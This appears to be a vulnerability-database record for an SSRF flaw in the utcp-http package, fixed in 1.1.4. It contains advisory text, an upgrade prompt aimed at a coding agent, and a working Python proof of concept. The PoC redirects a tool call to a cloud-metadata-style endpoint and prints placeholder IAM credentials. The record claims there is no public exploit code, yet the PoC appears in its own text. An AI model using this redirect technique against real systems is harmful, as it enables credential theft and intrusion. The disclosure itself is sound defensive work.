{"answers":{"affected":"2 open source packages ship an affected version, including utcp-http.","exploited":"There is no known exploitation of GHSA-9qhg-99ww-9mqc in the wild and no public exploit code.","fix":"Upgrade utcp-http to 1.1.4 or later.","what":"GHSA-9qhg-99ww-9mqc is a server-side request forgery vulnerability in utcp-http, published on 25 Aug 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-9qhg-99ww-9mqc and fix it if it is affected.\n\nWhat it is: GHSA-9qhg-99ww-9mqc is a server-side request forgery vulnerability in utcp-http, published on 25 Aug 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-9qhg-99ww-9mqc in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- utcp-http (PyPI): affected all versions; fixed in 1.1.4\n- utcp-http (PyPI): affected all versions; fixed in 1.1.4\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-9qhg-99ww-9mqc/ (Markdown: https://insights.sbomify.com/GHSA-9qhg-99ww-9mqc/index.md)","id":"GHSA-9qhg-99ww-9mqc","markdown":"https://insights.sbomify.com/GHSA-9qhg-99ww-9mqc/index.md","name":"GHSA-9qhg-99ww-9mqc","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"patch","impacts":["data_read","security_bypass"],"network_reachable":"yes","non_default_config":false,"product_category":"Python UTCP HTTP plugin","requires_auth":"none","summary":"Attacker-controlled HTTP tool endpoints can redirect UTCP clients to internal services, enabling SSRF and data exfiltration via unvalidated redirects.","user_interaction":"not_required","vuln_class":"ssrf"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Summary\n\n`HttpCommunicationProtocol.call_tool` validates only the pre-redirect tool URL, then issues the request with redirects enabled and never re-checks where it lands. A tool whose endpoint is an attacker-controlled public URL can therefore `302`-redirect the UTCP client into an internal service including the cloud metadata endpoint and the response body is returned to the tool caller. This is a working SSRF + internal-data-exfiltration primitive.\n\nThis is the redirect invariant of the SSRF class fixed in GHSA-39j6-4867-gg4w; that fix added an invocation-time URL check but left the redirect hop unguarded. This vector bypasses the GHSA-39j6-4867-gg4w mitigation via unvalidated redirects.\n\n## Root cause\n\n1. The resolved URL is validated once, before the request:\n\nhttps://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communication_protocols/http/src/utcp_http/http_communication_protocol.py#L281\n\n2. The request is then made with aiohttp's default `allow_redirects=True` and no\n   per-hop revalidation, so the redirect target bypasses the check entirely:\n\nhttps://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communication_protocols/http/src/utcp_http/http_communication_protocol.py#L313-L332\n\nThe validator (`_security.py`) blocks plain-HTTP to non-loopback hosts, exactly the metadata/internal case, but only the first hop ever reaches it.\n\n## Reachability\n\nTriggered whenever the host registers a tool/manual whose endpoint URL is attacker-influenced (e.g. a manual or OpenAPI spec discovered from a runtime-supplied URL: a core UTCP usage pattern) and that tool is then called. The initial URL only has to pass the validator (any `https://`, or a benign host the attacker controls); the attacker's server supplies the redirect. No special configuration is required.\n\n## Preconditions\n\n- The attacker controls the server the tool points at - either the registered tool/manual endpoint URL is attacker-influenced (e.g. a manual/OpenAPI spec discovered from a runtime-supplied URL), or a legitimate endpoint the tool already points at is attacker-controlled or compromised.\n- The initial tool URL passes `ensure_secure_url` — trivially met by any `https://` URL or a benign attacker-owned host; the attacker only needs to return a `3xx` `Location`.\n- The tool is invoked (`call_tool`) after registration.\n- An internal HTTP service is reachable from the UTCP process and returns useful data on an unauthenticated `GET` (cloud metadata, internal admin panel, unauth datastore, link-local endpoint).\n- The tool's return value is surfaced back to the caller/agent (the usual agentic flow), giving the attacker the response body.\n- For the IAM-credential outcome specifically: the host runs on a cloud instance with **IMDSv1** enabled. IMDSv2-only hosts block this exact result (it needs a `PUT` for a session token), but other internal-SSRF targets remain reachable.\n\n## PoC\n\nThe validator rejects the internal targets directly, but the redirect from an allowed tool URL reaches one anyway and returns its body. Runs the real released `HttpCommunicationProtocol`; the \"metadata\" service is bound on a non-loopback LAN IP, which the validator rejects exactly like `169.254.169.254`.\n\nRun: `pip install utcp-http==1.1.3 aiohttp \u0026\u0026 python poc.py`\n\n```python\nimport asyncio, socket\nfrom aiohttp import web\nfrom utcp_http.http_communication_protocol import HttpCommunicationProtocol\nfrom utcp_http.http_call_template import HttpCallTemplate\n\nMD = \"/latest/meta-data/iam/security-credentials/app-role\"\nSTOLEN = {\"Code\": \"Success\", \"AccessKeyId\": \"ASIAEXAMPLESTOLENKEY\",\n          \"SecretAccessKey\": \"wJalr/EXAMPLE/STOLEN/SECRET\", \"Token\": \"Fwo...session\"}\n\ndef lan_ip():\n    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    try: s.connect((\"8.8.8.8\", 80)); return s.getsockname()[0]\n    finally: s.close()\n\nasync def main():\n    internal = lan_ip()\n    meta = web.Application(); meta.router.add_get(MD, lambda r: web.json_response(STOLEN))\n    mr = web.AppRunner(meta, access_log=None); await mr.setup()\n    ms = web.TCPSite(mr, \"0.0.0.0\", 0); await ms.start()\n    internal_url = f\"http://{internal}:{ms._server.sockets[0].getsockname()[1]}{MD}\"\n\n    atk = web.Application()\n    atk.router.add_get(\"/tool\", lambda r: web.Response(status=302, headers={\"Location\": internal_url}))\n    ar = web.AppRunner(atk, access_log=None); await ar.setup()\n    as_ = web.TCPSite(ar, \"127.0.0.1\", 0); await as_.start()\n    tool_url = f\"http://127.0.0.1:{as_._server.sockets[0].getsockname()[1]}/tool\"\n\n    proto = HttpCommunicationProtocol()\n    ct = HttpCallTemplate(name=\"lookup\", url=tool_url, http_method=\"GET\")  # passes the validator\n    result = await proto.call_tool(None, \"lookup\", {}, ct)                 # follows 302 -\u003e internal\n    print(\"caller received:\", result)\n    await ar.cleanup(); await mr.cleanup()\n\nasyncio.run(main())\n```\n\nOutput:\n\n```\ncaller received: {'Code': 'Success', 'AccessKeyId': 'ASIAEXAMPLESTOLENKEY', 'SecretAccessKey': 'wJalr/EXAMPLE/STOLEN/SECRET', 'Token': 'Fwo...session'}\n```\n\n## Impact\n\nBlind-to-readable SSRF from the UTCP host's network position, with the internal response handed back to the caller. On a cloud instance with IMDSv1 this yields the instance role's IAM credentials (as shown), i.e. infrastructure takeover; more generally it reaches internal HTTP services (admin panels, unauth datastores, link-local endpoints) that the validator is specifically meant to block.\n\n## Possible fix\n\nDisable automatic redirects for tool invocation (`allow_redirects=False`) and, if redirects must be supported, re-run `ensure_secure_url` on every hop's `Location` before following it. Resolving the host and rejecting private/link-local/loopback IPs (not just plain-HTTP non-loopback) closes the residual `https://`-to-internal case as well.\n\n## Patched\n\nFixed in `utcp-http` 1.1.4. `_security.py` now ships\n`safe_request_with_redirects`, a per-hop revalidator that disables\naiohttp's auto-follow, runs `ensure_secure_url` on every `Location`\nheader before issuing the next hop, caps the chain at 5 hops, and drops\nthe body on 303 per RFC 7231. The HTTP, SSE, and streamable-HTTP\nplugins use it for both `register_manual` and `call_tool`; SSE +\nstreamable handshakes additionally reject any 3xx outright because the\nstreaming response has to stay open for the lifetime of the call. The\nOAuth2 token-fetch path uses the same helper, closing the\nredirect-on-token-URL variant.\n\nThe sister TypeScript implementation `@utcp/http` is fixed the same way\nin 1.1.4.\n\nUpgrade to `utcp-http \u003e= 1.1.4`. No workaround in earlier versions\nshort of disabling all attacker-influenced manuals.","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"utcp-http SSRF: HTTP tool invocation follows redirects without re-validating the target","id":"GHSA-9qhg-99ww-9mqc","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"PyPI","product":null,"products":[],"type":"ssrf","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":["1.1.4"],"introduced":["0"],"last_affected":[],"package":"utcp-http","purl":null,"source":"GHSA-9qhg-99ww-9mqc"},{"ecosystem":"PyPI","fixed":["1.1.4"],"introduced":["0"],"last_affected":[],"package":"utcp-http","purl":"pkg:pypi/utcp-http","source":"GHSA-9qhg-99ww-9mqc"}],"products":null,"published":"2026-08-25","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attacker-controlled HTTP tool endpoints can redirect UTCP clients to internal services, enabling SSRF and data exfiltration via unvalidated redirects.","url":"https://insights.sbomify.com/GHSA-9qhg-99ww-9mqc/"}